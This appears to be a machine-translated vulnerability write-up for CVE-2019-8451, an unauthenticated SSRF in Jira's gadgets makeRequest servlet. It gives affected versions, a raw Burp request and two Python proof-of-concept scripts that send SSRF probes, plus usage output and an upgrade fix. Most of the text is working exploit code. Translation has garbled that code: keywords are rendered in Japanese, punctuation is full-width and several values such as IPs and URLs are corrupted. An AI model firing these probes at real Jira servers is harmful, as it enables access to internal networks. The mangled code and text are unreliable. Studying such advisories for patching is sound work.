0x00脆弱性の背景
Jira's/プラグイン/サーブレット/ガジェット/MakereQuestリソースには、SSRFの脆弱性があります。その理由は、Jirawhitelistの論理的な欠陥は、この脆弱性を成功裏に悪用するリモート攻撃者が、Jiraサーバーとしてイントラネットリソースにアクセスできるためです。分析後、この脆弱性は資格情報なしでトリガーできます。
0x01衝撃の範囲
8.4.0
この脆弱性はJira Serverバージョン7.6.0で導入され、バージョン7.13.9および8.4.0で修正されました。
0x02脆弱性の再発
ATLASSIAN JIRAV7.13.0(このバージョンを例にとると、このバージョンには脆弱性があります)ダウンロードアドレス:
https://product-downloads.atlassian.com/software/jira/downloads/atlassian-jira-software-7.13.0-x64.exe
インストールプロセスは説明されなくなりました(インストールするプロンプトによると、最初にアカウントを公式に登録してから、試用シリアル番号を取得してインストールします)。
Bupsuitを介したリクエストは次のとおりです。応答では、ターゲットシステムがSSRFの脆弱性を正常に検出したことがわかります。
get /plugins/servlet/gadgets/makerequest?url=3http://10.206.1.8:8080@www.baidu.com http/1.1
HOST: 10.206.1.8:8080
アップグレード-Insecure-Requests: 1
user-agent: mozilla/5.0(windows nt 6.1; win64; x64)applewebkit/537.36(khtml、geckoのような)chrome/76.0.3809.132 safari/537.36
Accept: Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、Image/Webp、Image/APNG、*/*; Q=0.8、Application/Signed-Exchangeb; V=B3
Accept-Encoding: gzip、deflate
Accept-Language: ZH-CN、ZH; Q=0.9、EN; Q=0.8
x-atlassian-token: no-check
Connection:閉じます
0x03脆弱性の確認
検証POCは次のとおりです。
リクエストをインポートします
sysをインポートします
# http://http://10.206.1.8:8080/plugins/servlet/gadgets/makeRequest?url=http://10.206.1.8:8080@www.baidu.com/
DEF SSRF_POC(URL、SSRF_URL):
if url [-1]=='/' :
url=url [:-1]
else:
url=url
vuln_url=url + '/プラグイン/サーブレット/ガジェット/makerequest?url=' + url + '@' + ssrf_url
ヘッダー={
'user-agent':' mozilla/5.0(windows nt 10.0; win64; x64; rv336055.0)gecko/20100101 firefox/55.0 '、
'Accept':'*/*'、
'Accept-Language':' Zh-cn、zh; q=0.8、en-us; q=0.5、en; q=0.3 '、
'Accept-Encoding':' gzip、deflate '、
'x-atlassian-token'3:' no-check '、
'Connection ':' close '
}
r=requests.get(url=vuln_url、headers=headers)
R.Status_Code==200およびR.Content:の「セットクッキー」の場合
印刷'\ nsend poc success!\ n'
'x-ausername=%s'%r.headers.get( 'x-ausername')を印刷
印刷'\ nvuln_url=' + vuln_url + '\ n'
R.Contentを印刷します
else:
「vuln exitなし!」を印刷します
__name__=='__main __' :の場合
true:
印刷
ssrf_url=raw_input( 'ssrf url:')
url='http://10.206.1.833608080'#自分のターゲットJiraシステムに変更する必要があります
ssrf_poc(url、ssrf_url)
Python CVE-2019-8451.pyhttp://10.206.1.8:8080/
または:#!/usr/bin/env python3
argparseをインポートします
リクエストをインポートします
Reをインポートします
g、b、r、w、m、c、end='\ 033 [92m'、 '\ 033 [94m'、 '\ 033 [91m'、 '\ x1b [37m'、 '\ x1b] [35m'、 '\ x1b [36m'、 '\ 033 [0m' '
info=end + w + '[ - ]' + w
good=end + g + '[ +]' + c
bad=end + r + '[' + w + '!' + r + ']'
user_agent='mozilla/5.0(Windows NT 10.0; Win64; x64)AppleWebkit/537.36(KHTML、Geckoのような)Chrome/75.0.3770.90 Safari/537.36'
def check_version(url):
ターゲット=url
応答=send_request(ターゲット)
print(info + 'バージョンのチェック.' + end)
r1=re.search( '[0-9] {1} \。[0-9] {1} \。[0-9] {1}'、str(response)))
print(info + 'Jiraバージョンはbe:' + r1.group(0) + end)に見えます)
v1='8.4.0'
v2=r1.group(0)
comapre_versions(v1、v2)==false:の場合
印刷(bad + 'バージョンは、おそらく脆弱ではないことを示しているようです。' + end)
else:
印刷(good + 'バージョンはそれが脆弱である可能性があることを示しているようです!' + end)
def comapre_versions(v1、v2):
i、j in zip(map(int、v1.split( '。'))、map(int、v2.split( '。'))):
i==j:の場合
続行します
I jを返します
return len(v1.split( '。'))len(v2.split( '。'))))
def check_vuln(url):
ターゲット=url + '/プラグイン/サーブレット/ガジェット/makerequest?url=' + url + '@example.com/'
応答=send_request(ターゲット)
print(info + 'SSRFテストの送信.' + end)
応答:の「RC':200」および「例ドメイン」の場合
印刷(good + 'ホストは脆弱であるように見えます!' + end)
else:
印刷(bad + 'ホストは脆弱ではないようです。' + end)
def send_request(ターゲット):
headers={'x-atlassian-token':'no-check'、 'user-agent':user_agent}
try:
r=requests.get(ターゲット、ヘッダー=ヘッダー)
E:としての例外を除く
印刷(リクエストの悪い + '問題!' +終了)
印刷(e)
出口(-1)
if(r.status_code!=200):
印刷(info + '何かがうまくいかなかった!' +終了)
if(R.Status_Code==302):
印刷(bad + 'リダイレクト。代わりにこれを試してください3:' + r.headers ['location'] + end)
else:
印刷(bad + 'status:' + str(r.status_code) + end)
出口(-1)
return(r.text)
__name__=='__main __' :の場合
parser=argparse.argumentparser(prog='jira-2019-8451.py'、description='JiraインスタンスがCVE-2019-8451に求められるかどうかを確認する
parser.add_argument( '-u'、 '-url'、help='ターゲットJiraインスタンスのurl e.g.' -u https://localhost3:8080 '')
parser.add_argument( ' - c'、 '-check'、help='Jiraバージョンのみを確認します。SSRFの試みを送信しない'、action='store_true')
args=parser.parse_args()
args.url:ではない場合
印刷(bad + '欠落パラメーター' + end)
parser.print_help()
出口(-1)
url=str(args.url)
print(info + 'testing' + url + '.' + end)
args.check==true:の場合
check_version(url)
終了(0)
else:
check_version(url)
check_vuln(url)
使用方法:PIP3インストールリクエスト
$ ./jira-2019-8451.py -H
usage: jira-2019-8451.py [-h] [-u url] [-c]
JiraインスタンスがCVE-2019-8451に敵対的であるかどうかを確認するために
オプションの引数:
-H、 - ヘルプこのヘルプメッセージと出口を表示します
-u url、-url url url of target jira instance '-u
https://LocalHost:8080 '
-c、 - チェックJiraバージョンのみを確認してください。 SSRFの試みは送信されません
d: \ python \ python37python c: \ uses \ administrator \ desktop \ jira-2019-8451.py-u http://10.206.1.83:8080
0x04修理提案
8.4.0以上にアップグレード
0x05参照
https://MP.WEIXIN.QQ.COM/S/_TSQ9P1PQYSZJT2VAXD61A
https://nvd.nist.gov/vuln/detail/cve-2019-8451
https://github.com/jas502n/cve-2019-8451
https://github.com/ajh11g/jira-cve-2019-8451
https://jira.atlassian.com/browse/jraserver-69793
Recommended Comments